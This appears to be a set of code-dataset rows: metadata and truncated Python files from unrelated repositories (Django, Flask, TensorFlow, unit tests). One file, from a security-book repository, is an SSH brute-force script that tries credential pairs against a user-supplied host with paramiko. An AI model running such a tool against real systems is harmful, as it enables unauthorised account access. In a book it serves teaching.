MaRaSu/openstreetmap-tile-server
346d8a68076048c50b0c5dc4cbac30b7664b5379
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # ----------------------------------------------------------------- # Canary deployment of Tileserver # ----------------------------------------------------------------- import time import subprocess from datetime import date import urllib2 import socket import time PG_VOLUME_NAME = 'mtb-tileserver-...
38.131868
191
0.657637
477
3,470
4.568134
0.268344
0.055071
0.060578
0.070216
0.328132
0.328132
0.275815
0.248279
0.219826
0.183112
0
0.025939
0.15562
3,470
90
192
38.555556
0.717747
0.247262
0
0.190476
0
0
0.272797
0.080416
0
0
0
0
0
0
null
null
0
0.111111
null
null
0.174603
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
34667ea2a0199932f4434af4adeeb01ec3d10c7f
1,183
py
Python
test/unit/python/MetadataTest.py
dmarklein/WordCloud
e67b8906622abe628b2825e58bc224b522ec5fcb
[ "Apache-2.0" ]
1
2016-12-23T09:51:43.000Z
2016-12-23T09:51:43.000Z
test/unit/python/MetadataTest.py
dmarklein/WordCloud
e67b8906622abe628b2825e58bc224b522ec5fcb
[ "Apache-2.0" ]
21
2015-02-19T03:15:30.000Z
2015-07-27T19:56:45.000Z
test/unit/python/MetadataTest.py
dmarklein/WordCloud
e67b8906622abe628b2825e58bc224b522ec5fcb
[ "Apache-2.0" ]
null
null
null
''' Test Cases for Metadata Class for Word Cloud Project Daniel Klein Computer-Based Honors Program The University of Alabama 9.12.2013 ''' import unittest from src.core.python.Metadata import Metadata class MetadataTest(unittest.TestCase): def setUp(self): self.test_metadata = Metadata() def tea...
26.288889
70
0.634827
131
1,183
5.473282
0.442748
0.055788
0.111576
0.117155
0.164575
0.114365
0
0
0
0
0
0.017045
0.256128
1,183
45
71
26.288889
0.797727
0.148774
0
0
0
0
0.219
0.085
0
0
0
0
0.043478
1
0.217391
false
0
0.086957
0
0.347826
0.304348
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
346e9682a26aef94c565d285e5b76492fd9e4ea0
395
py
Python
web/impact/impact/permissions/allocate_applications_permissions.py
masschallenge/impact-api
81075ced8fcc95de9390dd83c15e523e67fc48c0
[ "MIT" ]
5
2017-10-19T15:11:52.000Z
2020-03-08T07:16:21.000Z
web/impact/impact/permissions/allocate_applications_permissions.py
masschallenge/impact-api
81075ced8fcc95de9390dd83c15e523e67fc48c0
[ "MIT" ]
182
2017-06-21T19:32:13.000Z
2021-03-22T13:38:16.000Z
web/impact/impact/permissions/allocate_applications_permissions.py
masschallenge/impact-api
81075ced8fcc95de9390dd83c15e523e67fc48c0
[ "MIT" ]
1
2018-06-23T11:53:18.000Z
2018-06-23T11:53:18.000Z
from rest_framework.permissions import BasePermission class AllocateApplicationsPermissions(BasePermission): authenticated_users_only = True def has_permission(self, request, view): request_judge_id = int(request.parser_context['kwargs']['judge_id']) if request.user.id == request_judge_id: ...
32.916667
76
0.734177
44
395
6.340909
0.636364
0.075269
0.100358
0
0
0
0
0
0
0
0
0
0.182278
395
11
77
35.909091
0.863777
0
0
0
0
0
0.035443
0
0
0
0
0
0
1
0.125
false
0
0.125
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
3473c35810fc9fdef155de2c949fd1aa125f0b24
512
py
Python
ivy_3dprint_site/assets.py
hellwen/ivy_3dprint_site
118969e7c6b81994343b615385ac4a2c469c8602
[ "BSD-2-Clause" ]
null
null
null
ivy_3dprint_site/assets.py
hellwen/ivy_3dprint_site
118969e7c6b81994343b615385ac4a2c469c8602
[ "BSD-2-Clause" ]
null
null
null
ivy_3dprint_site/assets.py
hellwen/ivy_3dprint_site
118969e7c6b81994343b615385ac4a2c469c8602
[ "BSD-2-Clause" ]
null
null
null
from flask_assets import Bundle common_css = Bundle( # bootstrap Bundle('css/vendor/bootstrap.css', 'css/vendor/bootstrap-theme.css'), 'css/vendor/typelate.css', 'css/vendor/helper.css', 'css/main.css', filters='cssmin', output='public/css/common.css' ) common_js = Bundle( 'js/...
22.26087
42
0.638672
69
512
4.695652
0.333333
0.111111
0.111111
0.080247
0
0
0
0
0
0
0
0
0.183594
512
22
43
23.272727
0.77512
0.017578
0
0
0
0
0.528942
0.42515
0
0
0
0
0
1
0
false
0
0.052632
0
0.052632
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
347a1384407b1b23219df7d5991b067d20546576
493
py
Python
app/views/index.py
HyperBCS/RedditNotify
11a67b41ef46d002a0a2de03b303a4d9118470f9
[ "MIT" ]
null
null
null
app/views/index.py
HyperBCS/RedditNotify
11a67b41ef46d002a0a2de03b303a4d9118470f9
[ "MIT" ]
null
null
null
app/views/index.py
HyperBCS/RedditNotify
11a67b41ef46d002a0a2de03b303a4d9118470f9
[ "MIT" ]
1
2020-10-06T10:33:30.000Z
2020-10-06T10:33:30.000Z
from flask import Blueprint, render_template, abort from jinja2 import TemplateNotFound from app.auth import require_role import config page = Blueprint('index', __name__, template_folder='templates') @page.route('/') @require_role('user') def show(*args, **kwargs): '''Render Homepage''' user = kwargs['user']...
30.8125
115
0.732252
62
493
5.596774
0.612903
0.080692
0.086455
0
0
0
0
0
0
0
0
0.009524
0.148073
493
16
116
30.8125
0.816667
0.030426
0
0
0
0
0.069767
0
0
0
0
0
0
1
0.076923
false
0
0.307692
0
0.461538
0.153846
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
347aba8fa5e854a8f3da7d0aac119eb2c5bd06c8
2,534
py
Python
eopf-notebooks/eopf_product_data_structure/EOProductDataStructure.py
CSC-DPR/notebooks
6e1034ca5402a7abb11f428bd68ba03cf47a5e9f
[ "Apache-2.0" ]
null
null
null
eopf-notebooks/eopf_product_data_structure/EOProductDataStructure.py
CSC-DPR/notebooks
6e1034ca5402a7abb11f428bd68ba03cf47a5e9f
[ "Apache-2.0" ]
null
null
null
eopf-notebooks/eopf_product_data_structure/EOProductDataStructure.py
CSC-DPR/notebooks
6e1034ca5402a7abb11f428bd68ba03cf47a5e9f
[ "Apache-2.0" ]
null
null
null
from abc import ABC, abstractmethod from dataclasses import dataclass, field from eopf.product.core import EOVariable, EOGroup, EOProduct, MetaData from typing import Any, Optional, Union import xarray as xr import numpy as np from utils import create_data class Builder(ABC): @abstractmethod def compute(sel...
36.2
135
0.700868
323
2,534
5.430341
0.260062
0.061574
0.097491
0.078677
0.436716
0.383124
0.366021
0.312999
0.312999
0.312999
0
0.001937
0.185083
2,534
69
136
36.724638
0.847458
0
0
0.454545
0
0
0.045527
0
0
0
0
0
0
1
0.072727
false
0
0.127273
0
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
347cc706db977bf1fd2615b3c38710ac5e37e797
241
py
Python
packs/openstack/actions/keystone.py
jonico/st2contrib
149c9c553f24360d91a14fef7ea6146707de75fd
[ "Apache-2.0" ]
5
2016-10-11T11:52:53.000Z
2017-06-15T05:21:05.000Z
packs/openstack/actions/keystone.py
jonico/st2contrib
149c9c553f24360d91a14fef7ea6146707de75fd
[ "Apache-2.0" ]
25
2016-07-28T17:50:35.000Z
2017-09-25T09:26:18.000Z
packs/openstack/actions/keystone.py
jonico/st2contrib
149c9c553f24360d91a14fef7ea6146707de75fd
[ "Apache-2.0" ]
2
2015-09-09T11:46:25.000Z
2020-11-21T10:10:49.000Z
#!/usr/bin/python import sys from lib import openstack from keystoneclient.v3.client import Client ostack = openstack.OpenStack('config.yaml') sess = ostack.getSession() client = Client(session=sess) print(ostack.run(client, sys.argv))
17.214286
43
0.767635
33
241
5.606061
0.606061
0
0
0
0
0
0
0
0
0
0
0.004673
0.112033
241
13
44
18.538462
0.859813
0.06639
0
0
0
0
0.049107
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.428571
0.142857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
347e3514263a9fbe7cad08b6c30cdb4bb852249c
567
py
Python
LoadDataAndPrepare/Category_to_subcat_mappings/grooming_subcategories_yelp.py
ngrover2/Automatic_Lexicon_Induction
b58a1d55f294293161dc23ab2e6d669c1c5e90d8
[ "MIT" ]
null
null
null
LoadDataAndPrepare/Category_to_subcat_mappings/grooming_subcategories_yelp.py
ngrover2/Automatic_Lexicon_Induction
b58a1d55f294293161dc23ab2e6d669c1c5e90d8
[ "MIT" ]
null
null
null
LoadDataAndPrepare/Category_to_subcat_mappings/grooming_subcategories_yelp.py
ngrover2/Automatic_Lexicon_Induction
b58a1d55f294293161dc23ab2e6d669c1c5e90d8
[ "MIT" ]
null
null
null
grooming_categories = [ 'Beauty & Spas', 'Barbers', 'Hair Salons', 'Skin Care', 'Hair Extensions', 'Medical Spas', 'Waxing', 'Nail Salons', 'Eyelash Service', 'Hair Removal', 'Blow Dry/Out Services', 'Hair Stylists', 'Day Spas', 'Massage', 'Massage Therapy', 'Eyebrow Services', 'Tattoo Removal', 'Kids Hair Salons', 'Sa...
16.2
24
0.687831
69
567
5.637681
0.724638
0.077121
0
0
0
0
0
0
0
0
0
0
0.123457
567
35
25
16.2
0.782696
0
0
0
0
0
0.697183
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
caa12ce8ca3ac2e27dd3c56991cf44b0a7f75b35
523
py
Python
Kaspa/modules/extension_modules/time_module/timeModuleDe.py
karim-awad/kaspa
701d935dd215bfd9a4810a4430973b33fecec257
[ "MIT" ]
null
null
null
Kaspa/modules/extension_modules/time_module/timeModuleDe.py
karim-awad/kaspa
701d935dd215bfd9a4810a4430973b33fecec257
[ "MIT" ]
null
null
null
Kaspa/modules/extension_modules/time_module/timeModuleDe.py
karim-awad/kaspa
701d935dd215bfd9a4810a4430973b33fecec257
[ "MIT" ]
null
null
null
from Kaspa.modules.abstract_modules.abstractBriefingSubmodule import AbstractBriefingSubmodule class TimeModuleDe(AbstractBriefingSubmodule): module_name = "Time" language = "de" key_regexes = dict() def __init__(self): self.key_regexes = {'(?i).*?(?=wieviel)+.+?(?=uhr)+.': self.action} ...
26.15
94
0.674952
54
523
6.333333
0.574074
0.05848
0.087719
0
0
0
0
0
0
0
0
0
0.189293
523
20
95
26.15
0.806604
0
0
0
0
0
0.083969
0.05916
0
0
0
0
0
1
0.25
false
0
0.083333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
caa75e5d2bdfbfee786b817df8f19969fb19c54a
1,512
py
Python
klgists/misc/git.py
kokellab/klgists
e4028eda10789ee4eb61061b6ae8c4099715bf58
[ "Apache-2.0" ]
2
2019-09-15T01:53:46.000Z
2020-11-25T17:05:46.000Z
klgists/misc/git.py
kokellab/klgists
e4028eda10789ee4eb61061b6ae8c4099715bf58
[ "Apache-2.0" ]
16
2017-03-31T21:16:41.000Z
2020-04-05T00:41:25.000Z
klgists/misc/git.py
kokellab/klgists
e4028eda10789ee4eb61061b6ae8c4099715bf58
[ "Apache-2.0" ]
null
null
null
import re from klgists.common.exceptions import ExternalCommandFailed, ParsingFailedException from klgists.common import abcd @abcd.dataclass(frozen=True) class GitDescription: text: str tag: str commits: str hash: str is_dirty: bool is_broken: bool @staticmethod def parse(text: str): pat = re.compile('''(...
32.170213
113
0.707011
209
1,512
4.942584
0.464115
0.029042
0.048403
0.025169
0
0
0
0
0
0
0
0.035115
0.133598
1,512
46
114
32.869565
0.753435
0.101852
0
0.090909
0
0
0.15544
0.032568
0
0
0
0
0
1
0.151515
false
0
0.121212
0.060606
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
caace811c3bf865e13c6bf1803446ce42c096a7e
2,079
py
Python
lib/galaxy/model/orm/ext/assignmapper.py
thata/galaxy-dist
6c3ffa064faf0c500f5594ed7b58ed839b00f337
[ "CC-BY-3.0" ]
2
2016-02-23T00:09:14.000Z
2019-02-11T07:48:44.000Z
lib/galaxy/model/orm/ext/assignmapper.py
thata/galaxy-dist
6c3ffa064faf0c500f5594ed7b58ed839b00f337
[ "CC-BY-3.0" ]
null
null
null
lib/galaxy/model/orm/ext/assignmapper.py
thata/galaxy-dist
6c3ffa064faf0c500f5594ed7b58ed839b00f337
[ "CC-BY-3.0" ]
6
2015-05-27T13:09:50.000Z
2019-02-11T07:48:46.000Z
""" This is similar to the assignmapper extensions in SQLAclhemy 0.3 and 0.4 but with some compatibility fixes. It assumes that the session is a ScopedSession, and thus has the "mapper" method to attach contextual mappers to a class. It adds additional query and session methods to the class to support the SQLAlchemy 0....
41.58
87
0.662338
269
2,079
4.899628
0.453532
0.045524
0.045524
0.050076
0.042489
0
0
0
0
0
0
0.003827
0.245791
2,079
49
88
42.428571
0.836735
0.330928
0
0
0
0
0.039826
0
0
0
0
0.020408
0
1
0.1875
false
0.03125
0.125
0.03125
0.4375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
caaded4bd578289725713128513fb77368214fe1
229
py
Python
run.py
mdasari823/fastmot-copy
28c50cdd9f816b94a6d463bad3ac897701c4e6e8
[ "MIT" ]
null
null
null
run.py
mdasari823/fastmot-copy
28c50cdd9f816b94a6d463bad3ac897701c4e6e8
[ "MIT" ]
1
2021-12-23T07:26:12.000Z
2021-12-23T07:26:12.000Z
run.py
mdasari823/fastmot-copy
28c50cdd9f816b94a6d463bad3ac897701c4e6e8
[ "MIT" ]
null
null
null
import os for run in range(1, 17): print (run) os.system('python3 app.py --input_uri ../camloc/oct22/'+str(run)+'.mp4 --mot --gui -l results.txt -o output.mp4') os.system('mv pixel-locs.txt camera_'+str(run)+'.txt')
32.714286
117
0.637555
40
229
3.6
0.75
0.111111
0
0
0
0
0
0
0
0
0
0.041237
0.152838
229
6
118
38.166667
0.701031
0
0
0
0
0
0.510917
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cab4bd43b931381073b462b76ec7bd88985afa84
347
py
Python
dp2.py
bourneagain/pythonBytes
be115162147e52718aacbfb9cd2763aa02754f28
[ "MIT" ]
1
2017-05-29T02:02:27.000Z
2017-05-29T02:02:27.000Z
dp2.py
bourneagain/pythonBytes
be115162147e52718aacbfb9cd2763aa02754f28
[ "MIT" ]
null
null
null
dp2.py
bourneagain/pythonBytes
be115162147e52718aacbfb9cd2763aa02754f28
[ "MIT" ]
null
null
null
fibMem= {} a="sam" def fib(n): for k in range(1,n+1): print "k : " + str(k) if k<=2: f=1 else: f=fibMem[k-1]+fibMem[k-2] print "printing f : " + str(f) fibMem[k]=f return fibMem[n] print fib(1000) #if __name__ == '__main__': # import timeit # print(timeit.timeit("print a", setup="from __m...
20.411765
77
0.582133
60
347
3.166667
0.466667
0.110526
0.084211
0
0
0
0
0
0
0
0
0.040741
0.221902
347
16
78
21.6875
0.662963
0.342939
0
0
0
0
0.088889
0
0
0
0
0
0
0
null
null
0
0
null
null
0.230769
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
cab9ac61743d32c048db9d32b01f12077629c7cb
403
py
Python
webapp/detectron/models.py
hasbegun/mask_rcnn
3e68ca053f00441950bbf441171b6f0a82ddf316
[ "MIT" ]
null
null
null
webapp/detectron/models.py
hasbegun/mask_rcnn
3e68ca053f00441950bbf441171b6f0a82ddf316
[ "MIT" ]
5
2020-03-31T07:10:39.000Z
2022-02-10T09:09:30.000Z
webapp/detectron/models.py
hasbegun/mask_rcnn
3e68ca053f00441950bbf441171b6f0a82ddf316
[ "MIT" ]
null
null
null
from django.db import models def user_upload_file_path(instance, filename): "find the path for user upload dir." return 'user_{0}/{1}'.format(instance.user.id, filename) class UploadFile(models.Model): desctiption = models.CharField(max_length=255, blank=True) upload_file = models.FileField(upload_t...
31
67
0.764268
58
403
5.086207
0.672414
0.101695
0.094915
0.122034
0
0
0
0
0
0
0
0.014286
0.131514
403
12
68
33.583333
0.828571
0.084367
0
0
0
0
0.114144
0
0
0
0
0
0
1
0.125
false
0
0.125
0
0.875
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
cabba8c446bfd820cdac622caa53c5b56ff9c9ae
663
py
Python
patch/0000_groups.py
williamcanin/crud-django-cbv
9f2ede86b9106cc2bbe8b5b027d02e2a6f9cf002
[ "MIT" ]
1
2021-09-21T12:49:14.000Z
2021-09-21T12:49:14.000Z
patch/0000_groups.py
williamcanin/crud-django-cbv
9f2ede86b9106cc2bbe8b5b027d02e2a6f9cf002
[ "MIT" ]
null
null
null
patch/0000_groups.py
williamcanin/crud-django-cbv
9f2ede86b9106cc2bbe8b5b027d02e2a6f9cf002
[ "MIT" ]
null
null
null
# Generated by Django 3.2.7 on 2021-10-02 01:57 # Add this file on migrations "clients" from django.db import migrations def apply_migration(apps, schema_editor): Group = apps.get_model('auth', 'Group') Group.objects.bulk_create([ Group(name=u'read_only'), ]) def revert_migration(apps, schema_ed...
21.387097
63
0.641026
80
663
5.1375
0.5875
0.068127
0.092457
0.121655
0.306569
0.306569
0.306569
0.306569
0.306569
0.306569
0
0.037402
0.233786
663
30
64
22.1
0.771654
0.125189
0
0.1
1
0
0.095321
0
0
0
0
0
0
1
0.1
false
0
0.05
0
0.3
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cac13e4d297435c69c600284b0b6eb2c35f04a93
628
py
Python
app1/migrations/0092_auto_20210516_2203.py
vashuteotia123/zbcvit
da29b3281ccc87481a264b63c5b6c3a549945f33
[ "MIT" ]
6
2021-09-16T16:46:56.000Z
2022-02-06T13:00:08.000Z
app1/migrations/0092_auto_20210516_2203.py
vashuteotia123/zbcvit
da29b3281ccc87481a264b63c5b6c3a549945f33
[ "MIT" ]
null
null
null
app1/migrations/0092_auto_20210516_2203.py
vashuteotia123/zbcvit
da29b3281ccc87481a264b63c5b6c3a549945f33
[ "MIT" ]
1
2021-09-14T09:26:58.000Z
2021-09-14T09:26:58.000Z
# Generated by Django 3.1.2 on 2021-05-16 16:33 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app1', '0091_auto_20210516_2201'), ] operations = [ migrations.AddField( model_name='idea', name='us...
25.12
98
0.597134
68
628
5.411765
0.691176
0.048913
0
0
0
0
0
0
0
0
0
0.113082
0.281847
628
24
99
26.166667
0.702882
0.071656
0
0.111111
1
0
0.122203
0.039587
0
0
0
0
0
1
0
false
0
0.111111
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cac156f76f885eb1f0b8909985d1e6e242b2f771
374
py
Python
projects/python/def/index.py
SunDawning/sundawning.github.io
ac70ed49c41cb544f1c49e4217808acb7373ca47
[ "MIT" ]
null
null
null
projects/python/def/index.py
SunDawning/sundawning.github.io
ac70ed49c41cb544f1c49e4217808acb7373ca47
[ "MIT" ]
20
2017-03-28T11:42:51.000Z
2017-09-29T13:15:31.000Z
projects/python/def/index.py
SunDawning/sundawning.github.io
ac70ed49c41cb544f1c49e4217808acb7373ca47
[ "MIT" ]
null
null
null
""" Adding an attribute to a Python dictionary from the standard library - Stack Overflow: https://stackoverflow.com/questions/11532060/adding-an-attribute-to-a-python-dictionary-from-the-standard-library """ class Dict(dict): pass def Foo(): SELF=Dict() SELF.a=1 def b(): return SELF.a SELF...
22
200
0.681818
58
374
4.396552
0.5
0.062745
0.133333
0.14902
0.454902
0.454902
0.454902
0.454902
0.454902
0.454902
0
0.032573
0.179144
374
16
201
23.375
0.798046
0.534759
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0.083333
0
0.083333
0.416667
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
caca8b4bdada018953ac3b4a8cab365219d0c4bb
4,710
py
Python
UDBFData.py
residualsilence/pyudbf
4ebeaa5c4c4cfc62a040d659c2c2fe1fa4ee46be
[ "MIT" ]
null
null
null
UDBFData.py
residualsilence/pyudbf
4ebeaa5c4c4cfc62a040d659c2c2fe1fa4ee46be
[ "MIT" ]
null
null
null
UDBFData.py
residualsilence/pyudbf
4ebeaa5c4c4cfc62a040d659c2c2fe1fa4ee46be
[ "MIT" ]
null
null
null
import numpy as np from dataclasses import dataclass from typing import List, Any from datetime import datetime @dataclass(frozen=True) class UDBFHeader: """Data-class for meta-data of the UDBFData class. Attributes: udbf_version (int): Version of the UDBF file structure times 100. vendor (st...
32.260274
78
0.551592
545
4,710
4.678899
0.238532
0.019608
0.031373
0.018824
0.121569
0.100392
0.083137
0.083137
0.083137
0.083137
0
0.004012
0.364968
4,710
145
79
32.482759
0.848546
0.469851
0
0.230769
0
0
0.014286
0
0
0
0
0
0
1
0.138462
false
0
0.061538
0.061538
0.523077
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
cacb6a4e06751d15dfbdbeba477c081483e1cd05
1,267
py
Python
blueprints/cms/admin.py
dchaplinsky/ninja-cats
d0760712d47eb391c01be137eb5cc5df0c450e86
[ "MIT" ]
null
null
null
blueprints/cms/admin.py
dchaplinsky/ninja-cats
d0760712d47eb391c01be137eb5cc5df0c450e86
[ "MIT" ]
null
null
null
blueprints/cms/admin.py
dchaplinsky/ninja-cats
d0760712d47eb391c01be137eb5cc5df0c450e86
[ "MIT" ]
1
2019-02-07T15:27:14.000Z
2019-02-07T15:27:14.000Z
from vulyk.admin.models import AuthModelView, CKTextAreaField from wtforms.validators import Required from wtforms.fields import SelectField class PluginsSelectField(SelectField): def __init__(self, *args, **kwargs): choices = [ ("", ""), ] from vulyk.app import TASKS_TYPES ...
23.90566
65
0.625888
118
1,267
6.474576
0.432203
0.068063
0.089005
0.078534
0
0
0
0
0
0
0
0
0.252565
1,267
52
66
24.365385
0.806758
0
0
0.153846
0
0
0.069455
0
0
0
0
0
0
1
0.025641
false
0
0.102564
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
cacd4b38f867a34c81112b4cbf0a8aafc3d0f02e
5,717
py
Python
predictNN.py
stefanbo92/Kaggle-Titanic-Competition
b3b4cffdeef977d4cb5b37c41d60290f4b4c76c8
[ "MIT" ]
null
null
null
predictNN.py
stefanbo92/Kaggle-Titanic-Competition
b3b4cffdeef977d4cb5b37c41d60290f4b4c76c8
[ "MIT" ]
null
null
null
predictNN.py
stefanbo92/Kaggle-Titanic-Competition
b3b4cffdeef977d4cb5b37c41d60290f4b4c76c8
[ "MIT" ]
null
null
null
import os import numpy as np import tensorflow as tf import datetime import csv as csv import pandas as pd import operator print ("Packages loaded") #load training and testing data train = pd.read_csv('input/train.csv', header = 0, dtype={'Age': np.float64}) test = pd.read_csv('input/test.csv' , header = 0, dtype={'A...
33.046243
103
0.668183
836
5,717
4.416268
0.305024
0.01896
0.013001
0.019502
0.158722
0.096696
0.057151
0.027356
0.027356
0.018418
0
0.024968
0.180339
5,717
172
104
33.238372
0.762911
0.128214
0
0.016667
0
0
0.088081
0
0
0
0
0
0
0
null
null
0.016667
0.058333
null
null
0.133333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
cad5be719449448e1cb37622c1ab182044445704
7,175
py
Python
utils.py
malva28/Cliente-Eco-UDP-con-Correcci-n
d3ceccb2e2b96ef53040a2715a595653aa668f08
[ "MIT" ]
null
null
null
utils.py
malva28/Cliente-Eco-UDP-con-Correcci-n
d3ceccb2e2b96ef53040a2715a595653aa668f08
[ "MIT" ]
null
null
null
utils.py
malva28/Cliente-Eco-UDP-con-Correcci-n
d3ceccb2e2b96ef53040a2715a595653aa668f08
[ "MIT" ]
null
null
null
import argparse import os.path import sys import io import _io import filecmp from collections import OrderedDict from math import ceil import csv from queue import Queue, Empty def false(): return False class MyParser(argparse.ArgumentParser): def error(self, msg): sys.stderr.write('error: {}\n'.for...
29.166667
97
0.579512
896
7,175
4.448661
0.232143
0.038133
0.024837
0.019067
0.152785
0.065228
0.053186
0.035625
0.019067
0
0
0.005887
0.313449
7,175
245
98
29.285714
0.803289
0.056307
0
0.129412
0
0
0.071579
0.021309
0
0
0
0
0.005882
1
0.229412
false
0.017647
0.058824
0.047059
0.435294
0.017647
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
cad6c0b1053bc8a29b767e1dedc6210f83381ace
457
py
Python
datatrans/migrations/0005_optional_aliasregistration_transaction_id.py
skioo/django-datatrans
c2159b08935cd0c70355ca6e8ff92bbe86d372cd
[ "MIT" ]
9
2017-09-12T12:45:30.000Z
2022-03-30T13:53:57.000Z
datatrans/migrations/0005_optional_aliasregistration_transaction_id.py
skioo/django-datatrans
c2159b08935cd0c70355ca6e8ff92bbe86d372cd
[ "MIT" ]
null
null
null
datatrans/migrations/0005_optional_aliasregistration_transaction_id.py
skioo/django-datatrans
c2159b08935cd0c70355ca6e8ff92bbe86d372cd
[ "MIT" ]
1
2021-11-08T10:21:01.000Z
2021-11-08T10:21:01.000Z
# Generated by Django 2.0 on 2018-01-29 07:30 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('datatrans', '0004_alias_registration_fields_optional'), ] operations = [ migrations.AlterField( model_name='aliasregistration', ...
24.052632
86
0.643326
49
457
5.857143
0.836735
0
0
0
0
0
0
0
0
0
0
0.058309
0.249453
457
18
87
25.388889
0.778426
0.094092
0
0
1
0
0.191748
0.09466
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cadb3eae3b08f55a6a3bbd2cf0cf04010825242f
1,305
py
Python
chapter7/code/paramiko/ssh_brute_force.py
abbbhucho/Mastering-Python-for-Networking-and-Security
f4fb1131253e9daad8da501c297758fdcedfbac3
[ "MIT" ]
98
2018-05-13T20:41:43.000Z
2022-03-31T00:24:01.000Z
chapter7/code/paramiko/ssh_brute_force.py
Cyb3rid10ts/Mastering-Python-for-Networking-and-Security
4cf04d1758f17ae378b5e3422404e5b7a174a243
[ "MIT" ]
null
null
null
chapter7/code/paramiko/ssh_brute_force.py
Cyb3rid10ts/Mastering-Python-for-Networking-and-Security
4cf04d1758f17ae378b5e3422404e5b7a174a243
[ "MIT" ]
62
2018-06-19T13:46:34.000Z
2022-02-11T05:47:24.000Z
import paramiko,sys,os from socket import * host = raw_input('Enter host to scan: ') targetIP = gethostbyname(host) ssh = paramiko.SSHClient() def ssh_connect(user,password,code=0): ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print("[*] Host: "+targetIP) print("[*] Tes...
23.727273
77
0.685824
182
1,305
4.835165
0.450549
0.068182
0.031818
0.05
0
0
0
0
0
0
0
0.010082
0.163985
1,305
55
78
23.727273
0.796517
0.016858
0
0.095238
0
0
0.178627
0
0
0
0
0
0
1
0.02381
false
0.261905
0.047619
0
0.095238
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
cadc7755eb3b3f1d4b9d8e68156a082b53c83cbb
1,743
py
Python
infra/gce-autoscale.py
szyszy/dist_test
a992ed1c007e9ec4850643e707bc803fbf5a084b
[ "Apache-2.0" ]
28
2016-05-03T21:16:48.000Z
2021-06-11T17:09:58.000Z
infra/gce-autoscale.py
szyszy/dist_test
a992ed1c007e9ec4850643e707bc803fbf5a084b
[ "Apache-2.0" ]
45
2016-05-03T22:16:09.000Z
2019-04-23T20:53:07.000Z
infra/gce-autoscale.py
szyszy/dist_test
a992ed1c007e9ec4850643e707bc803fbf5a084b
[ "Apache-2.0" ]
25
2016-04-20T00:02:08.000Z
2020-11-24T18:05:45.000Z
